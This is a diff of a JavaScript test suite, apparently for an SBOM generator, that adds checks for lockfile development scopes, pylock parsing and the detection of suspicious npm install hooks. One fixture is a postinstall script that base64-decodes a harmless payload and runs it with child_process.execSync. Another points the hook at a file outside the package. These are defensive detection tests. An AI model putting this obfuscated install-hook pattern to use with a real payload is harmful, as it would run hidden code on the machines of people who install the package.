3686
|
|
|
@@ -3575,6 +3824,23 @@ it("get licenses", () => {
|
|
|
3575
3824
|
},
|
|
3576
3825
|
]);
|
|
3577
3826
|
|
|
3827
|
+
licenses = getLicenses({
|
|
3828
|
+
license: [
|
|
3829
|
+
{
|
|
3830
|
+
type: "MIT",
|
|
3831
|
+
url: "https://github.com/harvesthq/chosen/blob/master/LICENSE.md",
|
|
3832
|
+
},
|
|
3833
|
+
],
|
|
3834
|
+
});
|
|
3835
|
+
assert.deepStrictEqual(licenses, [
|
|
3836
|
+
{
|
|
3837
|
+
license: {
|
|
3838
|
+
id: "MIT",
|
|
3839
|
+
url: "https://github.com/harvesthq/chosen/blob/master/LICENSE.md",
|
|
3840
|
+
},
|
|
3841
|
+
},
|
|
3842
|
+
]);
|
|
3843
|
+
|
|
3578
3844
|
licenses = getLicenses({
|
|
3579
3845
|
license: "GPL-2.0+",
|
|
3580
3846
|
});
|
|
@@ -3626,6 +3892,325 @@ it("parsePkgJson", async () => {
|
|
|
3626
3892
|
assert.deepStrictEqual(pkgList.length, 1);
|
|
3627
3893
|
});
|
|
3628
3894
|
|
|
3895
|
+
it("parsePkgJson emits obfuscated lifecycle-hook indicators", async () => {
|
|
3896
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-pkgjson-"));
|
|
3897
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
3898
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
|
|
3899
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
3900
|
+
writeFileSync(
|
|
3901
|
+
installScriptFile,
|
|
3902
|
+
[
|
|
3903
|
+
"import cp from 'node:child_process';",
|
|
3904
|
+
"const payload = Buffer.from('ZXZhbCgnY29uc29sZS5sb2coMSknKQ==', 'base64');",
|
|
3905
|
+
"cp.execSync(payload.toString());",
|
|
3906
|
+
].join("\n"),
|
|
3907
|
+
);
|
|
3908
|
+
writeFileSync(
|
|
3909
|
+
pkgJsonFile,
|
|
3910
|
+
JSON.stringify(
|
|
3911
|
+
{
|
|
3912
|
+
name: "suspicious-pkg",
|
|
3913
|
+
version: "1.0.0",
|
|
3914
|
+
scripts: {
|
|
3915
|
+
postinstall: "node scripts/postinstall.js",
|
|
3916
|
+
},
|
|
3917
|
+
},
|
|
3918
|
+
null,
|
|
3919
|
+
2,
|
|
3920
|
+
),
|
|
3921
|
+
);
|
|
3922
|
+
|
|
3923
|
+
try {
|
|
3924
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
3925
|
+
assert.strictEqual(pkgList.length, 1);
|
|
3926
|
+
const properties = pkgList[0].properties || [];
|
|
3927
|
+
assert.ok(
|
|
3928
|
+
properties.some(
|
|
3929
|
+
(property) =>
|
|
3930
|
+
property.name === "cdx:npm:hasInstallScript" &&
|
|
3931
|
+
property.value === "true",
|
|
3932
|
+
),
|
|
3933
|
+
);
|
|
3934
|
+
assert.ok(
|
|
3935
|
+
properties.some(
|
|
3936
|
+
(property) =>
|
|
3937
|
+
property.name === "cdx:npm:hasObfuscatedLifecycleScript" &&
|
|
3938
|
+
property.value === "true",
|
|
3939
|
+
),
|
|
3940
|
+
);
|
|
3941
|
+
assert.ok(
|
|
3942
|
+
properties.some(
|
|
3943
|
+
(property) =>
|
|
3944
|
+
property.name === "cdx:npm:lifecycleObfuscationIndicators" &&
|
|
3945
|
+
property.value.includes("ast:buffer-base64"),
|
|
3946
|
+
),
|
|
3947
|
+
);
|
|
3948
|
+
assert.ok(
|
|
3949
|
+
properties.some(
|
|
3950
|
+
(property) =>
|
|
3951
|
+
property.name === "cdx:npm:lifecycleExecutionIndicators" &&
|
|
3952
|
+
property.value.includes("ast:child-process"),
|
|
3953
|
+
),
|
|
3954
|
+
);
|
|
3955
|
+
} finally {
|
|
3956
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
3957
|
+
}
|
|
3958
|
+
});
|
|
3959
|
+
|
|
3960
|
+
it("parsePkgJson handles lifecycle runners with option flags", async () => {
|
|
3961
|
+
const tempDir = mkdtempSync(
|
|
3962
|
+
path.join(tmpdir(), "cdxgen-pkgjson-runner-flags-"),
|
|
3963
|
+
);
|
|
3964
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
3965
|
+
const preloadFile = path.join(tempDir, "preload.js");
|
|
3966
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.js");
|
|
3967
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
3968
|
+
writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
|
|
3969
|
+
writeFileSync(
|
|
3970
|
+
installScriptFile,
|
|
3971
|
+
[
|
|
3972
|
+
"import cp from 'node:child_process';",
|
|
3973
|
+
"cp.execSync('echo cdxgen');",
|
|
3974
|
+
].join("\n"),
|
|
3975
|
+
);
|
|
3976
|
+
writeFileSync(
|
|
3977
|
+
pkgJsonFile,
|
|
3978
|
+
JSON.stringify(
|
|
3979
|
+
{
|
|
3980
|
+
name: "runner-flags-pkg",
|
|
3981
|
+
version: "1.0.0",
|
|
3982
|
+
scripts: {
|
|
3983
|
+
postinstall:
|
|
3984
|
+
"cross-env NODE_ENV=production node --loader tsx --require ./preload.js ./scripts/postinstall.js && echo done",
|
|
3985
|
+
},
|
|
3986
|
+
},
|
|
3987
|
+
null,
|
|
3988
|
+
2,
|
|
3989
|
+
),
|
|
3990
|
+
);
|
|
3991
|
+
|
|
3992
|
+
try {
|
|
3993
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
3994
|
+
assert.strictEqual(pkgList.length, 1);
|
|
3995
|
+
const properties = pkgList[0].properties || [];
|
|
3996
|
+
assert.ok(
|
|
3997
|
+
properties.some(
|
|
3998
|
+
(property) =>
|
|
3999
|
+
property.name === "cdx:npm:hasInstallScript" &&
|
|
4000
|
+
property.value === "true",
|
|
4001
|
+
),
|
|
4002
|
+
);
|
|
4003
|
+
assert.ok(
|
|
4004
|
+
properties.some(
|
|
4005
|
+
(property) =>
|
|
4006
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4007
|
+
property.value.includes("ast:child-process"),
|
|
4008
|
+
),
|
|
4009
|
+
);
|
|
4010
|
+
} finally {
|
|
4011
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4012
|
+
}
|
|
4013
|
+
});
|
|
4014
|
+
|
|
4015
|
+
it("parsePkgJson ignores lifecycle script files outside the package directory", async () => {
|
|
4016
|
+
const tempDir = mkdtempSync(
|
|
4017
|
+
path.join(tmpdir(), "cdxgen-pkgjson-outside-script-"),
|
|
4018
|
+
);
|
|
4019
|
+
const packageDir = path.join(tempDir, "package");
|
|
4020
|
+
const pkgJsonFile = path.join(packageDir, "package.json");
|
|
4021
|
+
const outsideScriptFile = path.join(tempDir, "secret.js");
|
|
4022
|
+
mkdirSync(packageDir, { recursive: true });
|
|
4023
|
+
writeFileSync(
|
|
4024
|
+
outsideScriptFile,
|
|
4025
|
+
[
|
|
4026
|
+
"import cp from 'node:child_process';",
|
|
4027
|
+
"cp.execSync('echo should-not-be-read');",
|
|
4028
|
+
].join("\n"),
|
|
4029
|
+
);
|
|
4030
|
+
writeFileSync(
|
|
4031
|
+
pkgJsonFile,
|
|
4032
|
+
JSON.stringify(
|
|
4033
|
+
{
|
|
4034
|
+
name: "outside-script-pkg",
|
|
4035
|
+
version: "1.0.0",
|
|
4036
|
+
scripts: {
|
|
4037
|
+
postinstall: "node ../secret.js",
|
|
4038
|
+
},
|
|
4039
|
+
},
|
|
4040
|
+
null,
|
|
4041
|
+
2,
|
|
4042
|
+
),
|
|
4043
|
+
);
|
|
4044
|
+
|
|
4045
|
+
try {
|
|
4046
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4047
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4048
|
+
const properties = pkgList[0].properties || [];
|
|
4049
|
+
assert.ok(
|
|
4050
|
+
properties.some(
|
|
4051
|
+
(property) =>
|
|
4052
|
+
property.name === "cdx:npm:hasInstallScript" &&
|
|
4053
|
+
property.value === "true",
|
|
4054
|
+
),
|
|
4055
|
+
);
|
|
4056
|
+
assert.ok(
|
|
4057
|
+
!properties.some(
|
|
4058
|
+
(property) =>
|
|
4059
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4060
|
+
property.value.includes("ast:child-process"),
|
|
4061
|
+
),
|
|
4062
|
+
);
|
|
4063
|
+
assert.ok(
|
|
4064
|
+
!properties.some(
|
|
4065
|
+
(property) =>
|
|
4066
|
+
property.name === "cdx:npm:lifecycleExecutionIndicators" &&
|
|
4067
|
+
property.value.includes("ast:child-process"),
|
|
4068
|
+
),
|
|
4069
|
+
);
|
|
4070
|
+
} finally {
|
|
4071
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4072
|
+
}
|
|
4073
|
+
});
|
|
4074
|
+
|
|
4075
|
+
it("parsePkgJson detects bun lifecycle runners", async () => {
|
|
4076
|
+
const tempDir = mkdtempSync(
|
|
4077
|
+
path.join(tmpdir(), "cdxgen-pkgjson-bun-runner-"),
|
|
4078
|
+
);
|
|
4079
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
4080
|
+
const preloadFile = path.join(tempDir, "preload.ts");
|
|
4081
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
|
|
4082
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
4083
|
+
writeFileSync(preloadFile, "globalThis.__cdxgenPreload = true;\n");
|
|
4084
|
+
writeFileSync(
|
|
4085
|
+
installScriptFile,
|
|
4086
|
+
["import cp from 'node:child_process';", "cp.execSync('echo bun');"].join(
|
|
4087
|
+
"\n",
|
|
4088
|
+
),
|
|
4089
|
+
);
|
|
4090
|
+
writeFileSync(
|
|
4091
|
+
pkgJsonFile,
|
|
4092
|
+
JSON.stringify(
|
|
4093
|
+
{
|
|
4094
|
+
name: "bun-runner-pkg",
|
|
4095
|
+
version: "1.0.0",
|
|
4096
|
+
scripts: {
|
|
4097
|
+
postinstall:
|
|
4098
|
+
"bun run --preload ./preload.ts ./scripts/postinstall.ts",
|
|
4099
|
+
},
|
|
4100
|
+
},
|
|
4101
|
+
null,
|
|
4102
|
+
2,
|
|
4103
|
+
),
|
|
4104
|
+
);
|
|
4105
|
+
|
|
4106
|
+
try {
|
|
4107
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4108
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4109
|
+
const properties = pkgList[0].properties || [];
|
|
4110
|
+
assert.ok(
|
|
4111
|
+
properties.some(
|
|
4112
|
+
(property) =>
|
|
4113
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4114
|
+
property.value.includes("ast:child-process"),
|
|
4115
|
+
),
|
|
4116
|
+
);
|
|
4117
|
+
} finally {
|
|
4118
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4119
|
+
}
|
|
4120
|
+
});
|
|
4121
|
+
|
|
4122
|
+
it("parsePkgJson detects deno run lifecycle runners", async () => {
|
|
4123
|
+
const tempDir = mkdtempSync(
|
|
4124
|
+
path.join(tmpdir(), "cdxgen-pkgjson-deno-runner-"),
|
|
4125
|
+
);
|
|
4126
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
4127
|
+
const configFile = path.join(tempDir, "deno.json");
|
|
4128
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
|
|
4129
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
4130
|
+
writeFileSync(configFile, '{"imports":{}}\n');
|
|
4131
|
+
writeFileSync(
|
|
4132
|
+
installScriptFile,
|
|
4133
|
+
["import cp from 'node:child_process';", "cp.execSync('echo deno');"].join(
|
|
4134
|
+
"\n",
|
|
4135
|
+
),
|
|
4136
|
+
);
|
|
4137
|
+
writeFileSync(
|
|
4138
|
+
pkgJsonFile,
|
|
4139
|
+
JSON.stringify(
|
|
4140
|
+
{
|
|
4141
|
+
name: "deno-runner-pkg",
|
|
4142
|
+
version: "1.0.0",
|
|
4143
|
+
scripts: {
|
|
4144
|
+
postinstall:
|
|
4145
|
+
"deno run -A --config ./deno.json ./scripts/postinstall.ts",
|
|
4146
|
+
},
|
|
4147
|
+
},
|
|
4148
|
+
null,
|
|
4149
|
+
2,
|
|
4150
|
+
),
|
|
4151
|
+
);
|
|
4152
|
+
|
|
4153
|
+
try {
|
|
4154
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4155
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4156
|
+
const properties = pkgList[0].properties || [];
|
|
4157
|
+
assert.ok(
|
|
4158
|
+
properties.some(
|
|
4159
|
+
(property) =>
|
|
4160
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4161
|
+
property.value.includes("ast:child-process"),
|
|
4162
|
+
),
|
|
4163
|
+
);
|
|
4164
|
+
} finally {
|
|
4165
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4166
|
+
}
|
|
4167
|
+
});
|
|
4168
|
+
|
|
4169
|
+
it("parsePkgJson ignores non-run deno subcommands", async () => {
|
|
4170
|
+
const tempDir = mkdtempSync(
|
|
4171
|
+
path.join(tmpdir(), "cdxgen-pkgjson-deno-cache-"),
|
|
4172
|
+
);
|
|
4173
|
+
const pkgJsonFile = path.join(tempDir, "package.json");
|
|
4174
|
+
const installScriptFile = path.join(tempDir, "scripts", "postinstall.ts");
|
|
4175
|
+
mkdirSync(path.dirname(installScriptFile), { recursive: true });
|
|
4176
|
+
writeFileSync(
|
|
4177
|
+
installScriptFile,
|
|
4178
|
+
[
|
|
4179
|
+
"import cp from 'node:child_process';",
|
|
4180
|
+
"cp.execSync('echo deno-cache');",
|
|
4181
|
+
].join("\n"),
|
|
4182
|
+
);
|
|
4183
|
+
writeFileSync(
|
|
4184
|
+
pkgJsonFile,
|
|
4185
|
+
JSON.stringify(
|
|
4186
|
+
{
|
|
4187
|
+
name: "deno-cache-pkg",
|
|
4188
|
+
version: "1.0.0",
|
|
4189
|
+
scripts: {
|
|
4190
|
+
postinstall: "deno cache ./scripts/postinstall.ts",
|
|
4191
|
+
},
|
|
4192
|
+
},
|
|
4193
|
+
null,
|
|
4194
|
+
2,
|
|
4195
|
+
),
|
|
4196
|
+
);
|
|
4197
|
+
|
|
4198
|
+
try {
|
|
4199
|
+
const pkgList = await parsePkgJson(pkgJsonFile, true, true);
|
|
4200
|
+
assert.strictEqual(pkgList.length, 1);
|
|
4201
|
+
const properties = pkgList[0].properties || [];
|
|
4202
|
+
assert.ok(
|
|
4203
|
+
!properties.some(
|
|
4204
|
+
(property) =>
|
|
4205
|
+
property.name === "cdx:npm:lifecycleIndicatorMap" &&
|
|
4206
|
+
property.value.includes("ast:child-process"),
|
|
4207
|
+
),
|
|
4208
|
+
);
|
|
4209
|
+
} finally {
|
|
4210
|
+
rmSync(tempDir, { force: true, recursive: true });
|
|
4211
|
+
}
|
|
4212
|
+
});
|
|
4213
|
+
|
|
3629
4214
|
it("parsePkgLock v1", async () => {
|
|
3630
4215
|
const parsedList = await parsePkgLock(
|
|
3631
4216
|
"./test/data/package-json/v1/package-lock.json",
|
|
@@ -3677,6 +4262,30 @@ it("parsePkgLock v2", async () => {
|
|
|
3677
4262
|
],
|
|
3678
4263
|
},
|
|
3679
4264
|
});
|
|
4265
|
+
const devOnlyPkg = deps.find(
|
|
4266
|
+
(pkg) => pkg["bom-ref"] === "pkg:npm/@types/shelljs@0.8.11",
|
|
4267
|
+
);
|
|
4268
|
+
assert.ok(devOnlyPkg);
|
|
4269
|
+
assert.deepStrictEqual(devOnlyPkg.scope, "optional");
|
|
4270
|
+
assert.ok(
|
|
4271
|
+
devOnlyPkg.properties.some(
|
|
4272
|
+
(property) =>
|
|
4273
|
+
property.name === "cdx:npm:package:development" &&
|
|
4274
|
+
property.value === "true",
|
|
4275
|
+
),
|
|
4276
|
+
);
|
|
4277
|
+
const devOptionalPkg = deps.find(
|
|
4278
|
+
(pkg) => pkg["bom-ref"] === "pkg:npm/@esbuild/android-arm@0.15.12",
|
|
4279
|
+
);
|
|
4280
|
+
assert.ok(devOptionalPkg);
|
|
4281
|
+
assert.deepStrictEqual(devOptionalPkg.scope, "optional");
|
|
4282
|
+
assert.ok(
|
|
4283
|
+
devOptionalPkg.properties.some(
|
|
4284
|
+
(property) =>
|
|
4285
|
+
property.name === "cdx:npm:package:development" &&
|
|
4286
|
+
property.value === "true",
|
|
4287
|
+
),
|
|
4288
|
+
);
|
|
3680
4289
|
assert.deepStrictEqual(parsedList.dependenciesList.length, 134);
|
|
3681
4290
|
});
|
|
3682
4291
|
|
|
@@ -3740,6 +4349,69 @@ it("parsePkgLock v3", async () => {
|
|
|
3740
4349
|
assert.deepStrictEqual(parsedList.dependenciesList.length, 161);
|
|
3741
4350
|
});
|
|
3742
4351
|
|
|
4352
|
+
it("parsePkgLock marks devOptional entries as development", async () => {
|
|
4353
|
+
const rootNode = {
|
|
4354
|
+
path: "/virtual/project",
|
|
4355
|
+
package: {
|
|
4356
|
+
author: "",
|
|
4357
|
+
license: "MIT",
|
|
4358
|
+
},
|
|
4359
|
+
packageName: "virtual-project",
|
|
4360
|
+
version: "1.0.0",
|
|
4361
|
+
edgesOut: new Map(),
|
|
4362
|
+
fsChildren: new Set(),
|
|
4363
|
+
children: new Map(),
|
|
4364
|
+
};
|
|
4365
|
+
const devOptionalNode = {
|
|
4366
|
+
path: "/virtual/project/node_modules/dev-optional-dep",
|
|
4367
|
+
package: {
|
|
4368
|
+
author: "",
|
|
4369
|
+
license: "MIT",
|
|
4370
|
+
},
|
|
4371
|
+
packageName: "dev-optional-dep",
|
|
4372
|
+
version: "2.0.0",
|
|
4373
|
+
devOptional: true,
|
|
4374
|
+
integrity: "sha512-devoptional",
|
|
4375
|
+
edgesOut: new Map(),
|
|
4376
|
+
fsChildren: new Set(),
|
|
4377
|
+
children: new Map(),
|
|
4378
|
+
};
|
|
4379
|
+
rootNode.children.set("node_modules/dev-optional-dep", devOptionalNode);
|
|
4380
|
+
rootNode.edgesOut.set("dev-optional-dep", {
|
|
4381
|
+
name: "dev-optional-dep",
|
|
4382
|
+
spec: "^2.0.0",
|
|
4383
|
+
to: devOptionalNode,
|
|
4384
|
+
});
|
|
4385
|
+
const { parsePkgLock: parsePkgLockWithMockedArborist } = await esmock(
|
|
4386
|
+
"./utils.js",
|
|
4387
|
+
{
|
|
4388
|
+
"../third-party/arborist/lib/index.js": {
|
|
4389
|
+
default: class MockArborist {
|
|
4390
|
+
async loadVirtual() {
|
|
4391
|
+
return rootNode;
|
|
4392
|
+
}
|
|
4393
|
+
},
|
|
4394
|
+
},
|
|
4395
|
+
},
|
|
4396
|
+
);
|
|
4397
|
+
const parsedList = await parsePkgLockWithMockedArborist(
|
|
4398
|
+
"./test/data/package-json/v3/package-lock.json",
|
|
4399
|
+
{},
|
|
4400
|
+
);
|
|
4401
|
+
const devOptionalPkg = parsedList.pkgList.find(
|
|
4402
|
+
(pkg) => pkg["bom-ref"] === "pkg:npm/dev-optional-dep@2.0.0",
|
|
4403
|
+
);
|
|
4404
|
+
assert.ok(devOptionalPkg);
|
|
4405
|
+
assert.deepStrictEqual(devOptionalPkg.scope, "optional");
|
|
4406
|
+
assert.ok(
|
|
4407
|
+
devOptionalPkg.properties.some(
|
|
4408
|
+
(property) =>
|
|
4409
|
+
property.name === "cdx:npm:package:development" &&
|
|
4410
|
+
property.value === "true",
|
|
4411
|
+
),
|
|
4412
|
+
);
|
|
4413
|
+
});
|
|
4414
|
+
|
|
3743
4415
|
it("parsePkgLock theia", async () => {
|
|
3744
4416
|
const parsedList = await parsePkgLock(
|
|
3745
4417
|
"./test/data/package-json/theia/package-lock.json",
|
|
@@ -3865,10 +4537,8 @@ it("parsePnpmLock", async () => {
|
|
|
3865
4537
|
type: "library",
|
|
3866
4538
|
version: "7.16.7",
|
|
3867
4539
|
properties: [
|
|
3868
|
-
{
|
|
3869
|
-
|
|
3870
|
-
value: "./test/data/pnpm-lock.yaml",
|
|
3871
|
-
},
|
|
4540
|
+
{ name: "SrcFile", value: "./test/data/pnpm-lock.yaml" },
|
|
4541
|
+
{ name: "cdx:npm:package:development", value: "true" },
|
|
3872
4542
|
],
|
|
3873
4543
|
evidence: {
|
|
3874
4544
|
identity: {
|
|
@@ -3970,7 +4640,10 @@ it("parsePnpmLock", async () => {
|
|
|
3970
4640
|
type: "library",
|
|
3971
4641
|
_integrity:
|
|
3972
4642
|
"sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
|
|
3973
|
-
properties: [
|
|
4643
|
+
properties: [
|
|
4644
|
+
{ name: "SrcFile", value: "./test/data/pnpm-lock6.yaml" },
|
|
4645
|
+
{ name: "cdx:npm:package:development", value: "true" },
|
|
4646
|
+
],
|
|
3974
4647
|
evidence: {
|
|
3975
4648
|
identity: {
|
|
3976
4649
|
field: "purl",
|
|
@@ -3995,7 +4668,10 @@ it("parsePnpmLock", async () => {
|
|
|
3995
4668
|
type: "library",
|
|
3996
4669
|
_integrity:
|
|
3997
4670
|
"sha512-cwiTb08Xuv5fqF4AovYacTFNxk62th7LKJ6BL9IGUpTJrWoU7/7WdQGTP2SjKf1dUNBGzDd28p/Yfs/GI6JrLw==",
|
|
3998
|
-
properties: [
|
|
4671
|
+
properties: [
|
|
4672
|
+
{ name: "SrcFile", value: "./test/data/pnpm-lock6.yaml" },
|
|
4673
|
+
{ name: "cdx:npm:package:development", value: "true" },
|
|
4674
|
+
],
|
|
3999
4675
|
evidence: {
|
|
4000
4676
|
identity: {
|
|
4001
4677
|
field: "purl",
|
|
@@ -4023,7 +4699,10 @@ it("parsePnpmLock", async () => {
|
|
|
4023
4699
|
type: "library",
|
|
4024
4700
|
_integrity:
|
|
4025
4701
|
"sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
|
|
4026
|
-
properties: [
|
|
4702
|
+
properties: [
|
|
4703
|
+
{ name: "SrcFile", value: "./test/data/pnpm-lock6a.yaml" },
|
|
4704
|
+
{ name: "cdx:npm:package:development", value: "true" },
|
|
4705
|
+
],
|
|
4027
4706
|
evidence: {
|
|
4028
4707
|
identity: {
|
|
4029
4708
|
field: "purl",
|
|
@@ -4038,6 +4717,18 @@ it("parsePnpmLock", async () => {
|
|
|
4038
4717
|
},
|
|
4039
4718
|
},
|
|
4040
4719
|
});
|
|
4720
|
+
const pnpmDevOptionalPkg = parsedList.pkgList.find(
|
|
4721
|
+
(pkg) => pkg["bom-ref"] === "pkg:npm/@cyclonedx/cdxgen-plugins-bin@1.0.5",
|
|
4722
|
+
);
|
|
4723
|
+
assert.ok(pnpmDevOptionalPkg);
|
|
4724
|
+
assert.deepStrictEqual(pnpmDevOptionalPkg.scope, "optional");
|
|
4725
|
+
assert.ok(
|
|
4726
|
+
pnpmDevOptionalPkg.properties.some(
|
|
4727
|
+
(property) =>
|
|
4728
|
+
property.name === "cdx:npm:package:development" &&
|
|
4729
|
+
property.value === "true",
|
|
4730
|
+
),
|
|
4731
|
+
);
|
|
4041
4732
|
// Test case to see if parsePnpmLock is finding all root deps
|
|
4042
4733
|
const dummpyParent = {
|
|
4043
4734
|
name: "rush",
|
|
@@ -4079,7 +4770,15 @@ it("parsePnpmLock", async () => {
|
|
|
4079
4770
|
assert.deepStrictEqual(parsedList.pkgList.length, 1007);
|
|
4080
4771
|
assert.deepStrictEqual(parsedList.dependenciesList.length, 1006);
|
|
4081
4772
|
assert.deepStrictEqual(
|
|
4082
|
-
parsedList.pkgList.filter(
|
|
4773
|
+
parsedList.pkgList.filter(
|
|
4774
|
+
(pkg) =>
|
|
4775
|
+
!pkg.scope &&
|
|
4776
|
+
!pkg.properties?.some(
|
|
4777
|
+
(property) =>
|
|
4778
|
+
property.name === "cdx:npm:package:development" &&
|
|
4779
|
+
property.value === "true",
|
|
4780
|
+
),
|
|
4781
|
+
).length,
|
|
4083
4782
|
0,
|
|
4084
4783
|
);
|
|
4085
4784
|
parsedList = await parsePnpmLock("./test/data/pnpm-lock9b.yaml", {
|
|
@@ -4089,7 +4788,15 @@ it("parsePnpmLock", async () => {
|
|
|
4089
4788
|
assert.deepStrictEqual(parsedList.pkgList.length, 1366);
|
|
4090
4789
|
assert.deepStrictEqual(parsedList.dependenciesList.length, 1353);
|
|
4091
4790
|
assert.deepStrictEqual(
|
|
4092
|
-
parsedList.pkgList.filter(
|
|
4791
|
+
parsedList.pkgList.filter(
|
|
4792
|
+
(pkg) =>
|
|
4793
|
+
!pkg.scope &&
|
|
4794
|
+
!pkg.properties?.some(
|
|
4795
|
+
(property) =>
|
|
4796
|
+
property.name === "cdx:npm:package:development" &&
|
|
4797
|
+
property.value === "true",
|
|
4798
|
+
),
|
|
4799
|
+
).length,
|
|
4093
4800
|
12,
|
|
4094
4801
|
);
|
|
4095
4802
|
parsedList = await parsePnpmLock("./test/data/pnpm-lock9c.yaml", {
|
|
@@ -4099,9 +4806,40 @@ it("parsePnpmLock", async () => {
|
|
|
4099
4806
|
assert.deepStrictEqual(parsedList.pkgList.length, 461);
|
|
4100
4807
|
assert.deepStrictEqual(parsedList.dependenciesList.length, 462);
|
|
4101
4808
|
assert.deepStrictEqual(
|
|
4102
|
-
parsedList.pkgList.filter(
|
|
4809
|
+
parsedList.pkgList.filter(
|
|
4810
|
+
(pkg) =>
|
|
4811
|
+
!pkg.scope &&
|
|
4812
|
+
!pkg.properties?.some(
|
|
4813
|
+
(property) =>
|
|
4814
|
+
property.name === "cdx:npm:package:development" &&
|
|
4815
|
+
property.value === "true",
|
|
4816
|
+
),
|
|
4817
|
+
).length,
|
|
4103
4818
|
3,
|
|
4104
4819
|
);
|
|
4820
|
+
parsedList = await parsePnpmLock(
|
|
4821
|
+
"./test/data/pnpm-lock-dev-propagation.yaml",
|
|
4822
|
+
);
|
|
4823
|
+
assert.deepStrictEqual(parsedList.pkgList.length, 4);
|
|
4824
|
+
assert.deepStrictEqual(parsedList.dependenciesList.length, 4);
|
|
4825
|
+
assert.deepStrictEqual(
|
|
4826
|
+
parsedList.pkgList.filter(
|
|
4827
|
+
(pkg) =>
|
|
4828
|
+
pkg.scope === "optional" &&
|
|
4829
|
+
pkg.properties?.some(
|
|
4830
|
+
(property) =>
|
|
4831
|
+
property.name === "cdx:npm:package:development" &&
|
|
4832
|
+
property.value === "true",
|
|
4833
|
+
),
|
|
4834
|
+
).length,
|
|
4835
|
+
4,
|
|
4836
|
+
);
|
|
4837
|
+
assert.ok(
|
|
4838
|
+
parsedList.pkgList.find((pkg) => pkg["bom-ref"] === "pkg:npm/gamma@1.0.0"),
|
|
4839
|
+
);
|
|
4840
|
+
assert.ok(
|
|
4841
|
+
parsedList.pkgList.find((pkg) => pkg["bom-ref"] === "pkg:npm/delta@1.0.0"),
|
|
4842
|
+
);
|
|
4105
4843
|
parsedList = await parsePnpmLock(
|
|
4106
4844
|
"./test/data/pnpm_locks/bytemd-pnpm-lock.yaml",
|
|
4107
4845
|
);
|
|
@@ -6560,6 +7298,44 @@ it("parse python lock files", async () => {
|
|
|
6560
7298
|
assert.deepStrictEqual(retMap.pkgList.length, 9);
|
|
6561
7299
|
assert.deepStrictEqual(retMap.rootList.length, 9);
|
|
6562
7300
|
assert.deepStrictEqual(retMap.dependenciesList.length, 9);
|
|
7301
|
+
retMap = await parsePyLockData(
|
|
7302
|
+
readFileSync("./test/data/pylock.toml", { encoding: "utf-8" }),
|
|
7303
|
+
"./test/data/pylock.toml",
|
|
7304
|
+
);
|
|
7305
|
+
assert.deepStrictEqual(retMap.pkgList.length, 2);
|
|
7306
|
+
assert.deepStrictEqual(retMap.dependenciesList.length, 2);
|
|
7307
|
+
assert.ok(
|
|
7308
|
+
retMap.pyLockProperties.some((p) => p.name === "cdx:pylock:lock_version"),
|
|
7309
|
+
);
|
|
7310
|
+
const attrsPkg = retMap.pkgList.find((p) => p.name === "attrs");
|
|
7311
|
+
assert.ok(
|
|
7312
|
+
attrsPkg.properties.some((p) => p.name === "cdx:pylock:marker"),
|
|
7313
|
+
"Expected pylock marker custom property for attrs package",
|
|
7314
|
+
);
|
|
7315
|
+
assert.ok(
|
|
7316
|
+
attrsPkg.components?.length,
|
|
7317
|
+
"Expected pylock wheel entry to produce file component",
|
|
7318
|
+
);
|
|
7319
|
+
const cattrsPkg = retMap.pkgList.find((p) => p.name === "cattrs");
|
|
7320
|
+
assert.ok(
|
|
7321
|
+
cattrsPkg.properties.some(
|
|
7322
|
+
(p) =>
|
|
7323
|
+
p.name === "cdx:pypi:registry" &&
|
|
7324
|
+
p.value === "https://internal.example/simple/",
|
|
7325
|
+
),
|
|
7326
|
+
"Expected non-default pylock index to map to cdx:pypi:registry",
|
|
7327
|
+
);
|
|
7328
|
+
retMap = await parsePyLockData(
|
|
7329
|
+
readFileSync("./test/data/pylock-named/pylock.dev.toml", {
|
|
7330
|
+
encoding: "utf-8",
|
|
7331
|
+
}),
|
|
7332
|
+
"./test/data/pylock-named/pylock.dev.toml",
|
|
7333
|
+
);
|
|
7334
|
+
assert.deepStrictEqual(retMap.pkgList.length, 1);
|
|
7335
|
+
assert.ok(
|
|
7336
|
+
retMap.pkgList[0].components?.[0]?.hashes?.some((h) => h.alg === "SHA-256"),
|
|
7337
|
+
"Expected sha-256 pylock hash to normalize to SHA-256",
|
|
7338
|
+
);
|
|
6563
7339
|
}, 120000);
|
|
6564
7340
|
|
|
6565
